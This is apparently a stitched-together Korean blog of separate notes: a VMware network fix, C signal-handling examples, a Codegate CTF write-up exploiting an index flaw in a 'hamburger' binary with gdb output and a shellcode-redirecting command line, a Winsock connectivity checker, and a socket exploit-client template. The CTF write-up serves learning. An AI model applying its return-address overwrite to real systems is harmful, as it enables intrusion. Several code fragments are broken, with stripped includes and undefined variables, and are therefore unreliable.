Passion

http://www.daniweb.com/forums/thread505.html

The answer to this one is buried in the VMWare site.
You have to find all copies of ifcfg-eth0 and add the lines:

check_link_down() {
return 1;
}

That fools the device into thinking the vmWare NIC is giving it a link up signal, which it doesn't.

Hope this helps, it works everytime for me. Good luck.

replied by GarrathE

고맙고맙

#include 
#include 

static void sig_quit(int);

int main(void)
{
    sigset_t    newmask, oldmask, pendmask;

    if (signal(SIGQUIT, sig_quit) == SIG_ERR)
        err_print("can`t catch SIGQUIT");

    //SIGQUIT 신호를 차단하고 현재 신호 마스크를 보존해둔다.

    sigemptyset(&newmask);  //signal을 비우고
    sigaddset(&newmask, SIGQUIT);  //SIGQUIT를 더하고
    if (sigprocmask(SIG_BLOCK, &newmask, &oldmask) < 0) // 추가한 SIGQUIT만 차단, oldmask로 보존 해 둔다
        err_print("SIG_BLOCK error");

    sleep(5);
    if (sigpending(&pendmask) < 0) // 현재 차단되고 유보중인 신호 집합을 pendmask로 저장
        err_print("sigpending error");

    if (sigismember(&pendmask, SIGQUIT)) //pendmask에 SIGQUIT가 있으면 출력
        printf("\nSIGQUIT pending\n");

    // 신호 마스크를 복원한다. (SIGQUIT 차단이 해제된다)

    if (sigprocmask(SIG_SETMASK, &oldmask, NULL) < 0)  // oldmask 를 복원한다.
        err_print("SIG_SETMASK error");

    printf("SIGQUIT unblocked\n");

    sleep(5); // 여기서 SIGQUIT에 의해 프로세스가 종료되고 코어 파일이 생성된다.

    exit(0);
}

static void sig_quit(int signo)
{
    printf("caught SIGQUIT\n");
    if (signal(SIGQUIT, SIG_DFL) == SIG_ERR)
        //SIG_DFL을 지정하면 신호 발생 시 신호의 기본 행동이 수행된다. 
        err_print("can`t reset SIGQUIT");
}

#include 

Sigfunc *signal(int signo, Sigfunc *func)
{
    struct sigaction    act, oact;

    act.sa_handler = func;
    sigemptyset(&act.sa_mask);
    act.sa_flags = 0;

    if (signo == SIGALRM) {
#ifdef SA_INTERRUPT
        act.sa_flags |= SA_INTERRUPT;
#endif
    }
    else {
#ifdef SA_RESTART
        act.sa_flags |= SA_RESTART;
#endif
    }

    if (sigaction(signo, &act, &oact) < 0)
        return(SIG_ERR);
    return (oact.sa_handler);
}

hamburger 를 실행해 보았다.

cpy도 살펴보자.

대략적인 흐름은 다음과 같다.

argv[1]으로 입력되는 string 의 크기는 32767을 넘을 수 없으며 ebp-800d 로 복사된다.
argv[2]인 offset 은 입력된 string의 index로 사용된다.
argv[3]인 value는 입력한 값을 스트링의 특정 인덱스에 집어넣는다.

여기서 offset과 value는 값을 검사하는 루틴이 없으므로 이 값들을 조작해서 shell을 획득하는 것이
가능하지 않을까 싶다.

gdb) b *0x08048516
Breakpoint 1 at 0x8048516
(gdb) r `perl -e 'print "A"x32767," ","4"," ","\x90"x4'`
Starting program: /home/juliaa/share/codegate/hamburger `perl -e 'print "A"x32767," ","4"," ","\x90"x4'`

cpy 함수의 leave 에 bp를 걸고 r `perl -e 'print "A"x32767," ","4"," ","\x90"x4'` 로 실행 시킨후
bp에 걸린 상태에서 스택을 살펴보았다.

Breakpoint 1, 0x08048516 in cpy ()
Current language:  auto; currently asm
(gdb) info $esp
Undefined info command: "$esp".  Try "help info".
(gdb) info reg
eax            0x0 0
ecx            0x0 0
edx            0xbfae0fbf -1079111745
ebx            0xb80bdff4 -1207181324
esp            0xbfae0f84 0xbfae0f84
ebp            0xbfae0f98 0xbfae0f98
esi            0x8048670 134514288
edi            0x8048440 134513728
eip            0x8048516 0x8048516 <cpy+34>
eflags         0x286 [ PF SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
(gdb) x/16x $esp
0xbfae0f84: 0xb80e0004 0x00007fff   0xb7fdcb70  0xbfae0fbb
0xbfae0f94: 0xbfae0fbf   0xbfae8fc8  0x08048637 0xbfae0fbb
0xbfae0fa4: 0x00000004 0x00000000 0xbfae8fe0  0x00000000
0xbfae0fb4: 0x00000000 0x41000000 0x00414141 0x41000000

붉은 색 부분이 ebp 이며 ebp+8 에 있는 첫번째 아규먼트의 주소 0xbfae0fbb 를 볼 수 있다.
ebp -0x14에는 argv[2]의 값이 옮겨진 0xb8e0004 가 있으며,
ebp -4 에는 0xbfae0fbb + 04 를 한 0xbfae0fbf 가 위치해 있다.

생각한대로 동작하는것을 알 수 있지만

80484fd: 66 89 45 ec           mov    %ax,-0x14(%ebp)

argv[2]의 값이 옮겨지는  부분에서 eax레지스터의 16비트만 사용하는 부분이 눈에 띄었다. short 형 변수로 받는게 아닌가 싶어서 argv[2]를 바꿔가며 입력해보았다.

----------------------------------------------------------------------------
32767      ebp+8     bffd9d1b      두값의 차이 +7FFFF
              ebp-4     bffe1d1a

32768       bfe13b4b       -8000
               bfe0bb4b

32769       bfa6afab       -7FFF
               bfa62fac

32770      bfbe391b       -7FFE
              bfbdb91d

.....

65534      bfdfb33b         -2
              bfdfb339

65535      bfe0133b         -1
              bfe0133a

65536       bfa57f9b          0
               bfa57f9b

65537       bfa76fbb          1
               bfa76fbc
---------------------------------------------------------------------

위와같이 32767 보다 큰 값을 입력 하였을때 음수로 바뀌는 것으로 미루어 signed short 형 변수를 사용하는 것으로 생각 할 수 있다.
(32비트 시스템에서 보통 signed short는 ~32768~32767 까지 나타낼 수 있다. )
이 것이 바로 이 프로그램의 취약점이 아닌가 싶다.

스택을 살펴보니 main 함수의 리턴어드레스는 argv[1]이 복사된 주소 ebp-800d 부터 7FFF 이상 떨어져  있으므로 접근할 수 없다.  가까운 cpy의 return address를 건드려보자. 

cpy함수의 코드를 다시 보면

 80484fd: 66 89 45 ec    mov   %ax,-0x14(%ebp)    
 8048501: 8b 55 08       mov    0x8(%ebp),%edx               
 8048504: 0f bf 45 ec    movswl -0x14(%ebp),%eax         
 8048508: 8d 04 02        lea    (%edx,%eax,1),%eax
 804850b: 89 45 fc        mov    %eax,-0x4(%ebp)     

ebp+8 에 첫번째 인자, ebp-800d의 주소가 들어있으며 이 주소에 인덱스(argv[2])를 더한 주소를
ebp -4 에 넣는다. 

-----------------
ebp + 8    -   argv[1]
-----------------
ebp + 4    -   return address
-----------------
ebp 
-----------------
ebp -4        [argv[1] + argv[2]]
_________________

프로그램을 실행할때마다  스택의 주소는 바뀌지만 스택에서의 옵셋은 똑같다. 결국 ebp -4에 들어가는
 값을 return address와 같도록 만들 수 있다는 뜻이다.  실행값을 바꿔가면서 넣어본 결과  cpy의 return
address의 주소는 ebp+8 의 주소보다 0x1F 만큼 작다는 것을 확인할 수 있었다.
(65505를 입력했을때 ebp + 4의 값이  1111(0x00000457)로 바뀌어 있는 것을 볼 수 있다.)

 
이제 return address를 바꿀 수 있다. 3번째 인자의 값으로 환경변수에 띄운 쉘코드의 주소를 넣고
실행해봤더니 쉘이 실행되지 않았다..

최대 7FFFFFFF 까지만 들어가기 때문이었다. 이것 역시 -1로 값을 넣어서  FFFFFFFF로 들어가서 원하는 값을
넣을 수 있었다.

최종적으로 아래와 같이 입력하였더니 segmentation fault 가 발생하였다.

./hamburger AAAA 65505 -1079758970

에러가 발생하는 이유는 eggshell을 띄운 환경변수의 주소를 eip가 정상적으로 가리키고 있지만
그 주소의 값을 실행시키지 못하는것 같았다. gdb에서 주소의 값을 보려고 해도 

Cannot access memory at address 0xbfxxxxxx  처럼 접근할 수 없다는 메세지가 나온다.

--------------------------------------------------------------------------
stack의 실행권한을 확인해 보았다. 실행권한이 빠져있다.

현재 프로세스의 stack의 실행권한은 아래와 같다. 모든권한이 주어져있다.

#include 
#include 
#include 
#include 

#define BUFSIZE 1024
#define PORT      80

void ErrorHandling(char *message);


int main(int argc, char *argv[]) 
{

	WSADATA wsaData;
	SOCKET hSocket;
	char message[BUFSIZE];
	int len, i, option, result = 0;
	SOCKADDR_IN servAddr;
	struct hostent *host; 
		char *lists[] = {0,};  
	

#if 0
	if(argc!=2) {
		Usuage(argv[0]);	
	}
#endif

#if 1
	if(WSAStartup(MAKEWORD(2, 2), &wsaData) !=0)
		ErrorHandling("WSAStartup() error!");
#endif
	
	for(i=0; i<4; i++) {

		host = gethostbyname(lists[i]);

		printf("trying to connect %s...\n", lists[i]);
#if 1
	 hSocket=socket(PF_INET, SOCK_STREAM, 0);
	 if(hSocket == INVALID_SOCKET)
		ErrorHandling("socket() error");
#endif

	 option = TRUE;

     setsockopt(hSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&option, sizeof(option));
	
	 memset(&servAddr, 0, sizeof(servAddr));
	 servAddr.sin_family = AF_INET;
	 servAddr.sin_addr.s_addr = inet_addr(inet_ntoa( *(struct in_addr*)host->h_addr_list[0]));
	 servAddr.sin_port = htons(PORT);

	if(connect(hSocket, (SOCKADDR*)&servAddr, sizeof(servAddr)) == SOCKET_ERROR)
		ErrorHandling("connect() error!");

	//sprintf(message, "GET /index.html HTTP/1.1");
	sprintf(message, "hello");

	send(hSocket, message, strlen(message), 0);
	
#if 1
	len=recv(hSocket, message, BUFSIZE-1, 0);
	message[len] = 0;
	if(len == -1) {
		printf("Can`t connect %s.\n", lists[i]);
		result--;
	}
	if(len > 0) {
		printf("Success.connected to %s.\n", lists[i]);
		result++;
	}
	closesocket(hSocket);
#endif
	}

	if(result > 2) {
		printf("This machine seems to be clean\n");
	}
	else if (result <2 && result >0)
		printf("Warning. This machine needs to be other inspection.\n");
	else {
		printf("Infected!. Need some help.\n");
	}

	WSACleanup();
	return 0;
}


void ErrorHandling(char *message)
{
	fputs(message, stderr);
	fputc( '\n', stderr);
	exit(1);
}

쓸때마다 매번 찾는게 귀찮아서..

 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define SERVER "xxx.xxx.xxx.xxx"
#define PORT "xxxx"
#define TRUE 1

void error_handling(char *message);

int main(int argc, char **argv) {

    int i,sock;

    char exploit[]="";

    unsigned char recv[512]= {0, };

    int str_len;
    int option;
    socklen_t optlen;
    
    /************* socket initialize and connect ****************/    

    struct sockaddr_in serv_addr;
    sock=socket(PF_INET, SOCK_STREAM, 0);
    if(sock == -1)
        error_handling("socket() error");

    optlen = sizeof(option);
    option = TRUE;

    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &option, sizeof(option));
    memset(&serv_addr, 0, sizeof(serv_addr));

    serv_addr.sin_family=AF_INET;
    serv_addr.sin_addr.s_addr=inet_addr(SERVER);
    serv_addr.sin_port=htons(atoi(PORT));

    if(connect(sock, (struct sockaddr*)&serv_addr,sizeof(serv_addr))<0)
        error_handling("connect() error!");

    /****************** main start ********************/

    if((str_len = read(sock, recv, 64))==0)   //Read 1
        error_handling("read() error!");
    recv[str_len]=0;
    printf("Message from server : %s \n", recv); 

    if((str_len = read(sock, recv, 64))==0)   //Read 2
        error_handling("read() error!");
    recv[str_len]=0;
    printf("Message from server : %s \n", recv);

    if((str_len = write(sock, first, strlen(first))) == -1) ///write 1
       error_handling("write() error");
    
    if((str_len = read(sock, recv, 64))==0)  //Read 3
        error_handling("read() error!");
    recv[str_len]=0;
    printf("Message from server : %s \n", recv);  

    close(sock);
    return 0;
}

void error_handling(char *message)
{
    fputs(message, stderr);
    fputc('\n', stderr);
    exit(1);
}

아하. 요렇게 보니 조금 감이 온다. 하지만 100% 분석은 어렵다 .저기서 발생하는 세그먼테이션 폴트가 리턴어드레스를 덮어 씌워서 발생하는 것이라는 것을 알수 있는 방법은 경험에 의한 직감 뿐이 없는것일까. (지금이라면 나도 리턴어드레스 일지도 모른다고 예상을 할것 같다..)

실로 불충분한 글이다.. 어디다 물어볼 곳도 없고 답답함..

별거 없었다. 걍 scp든 ftp든 파일 가져와서 IDA 로 돌리면 디스어셈블된다.. IDA 가 진리다...ㅅㅂ 단 심볼이 없으므로 함수 이름 등의 정보는 확인할 수 없다.

static + runtime 조합으로 윈도우에서 분석하는것처럼
IDA 로 디스어셈블해서 펼쳐놓고 EDB로 하나하나 확인하면 비슷하게 할수 있을듯.  으라챠!

PS. http://simples.kr/bbs/board.php?bo_table=13_1&wr_id=21&page=2 에 정적 링크된 Stripped ELF 바이너리 상에서의 함수 탐지 기법 이라는 글을 발견. 2nd CodeEngn에서 태인규님(blog.hackken.org)이 발표하신 자료로
Grayresolve라는 IDA plugin을 이용해서 함수 이름을 탐지하는 방법에 대해서 나와있다.

grayresolve down http://www.codeengn.com/2008/Archive/grayResolve.plw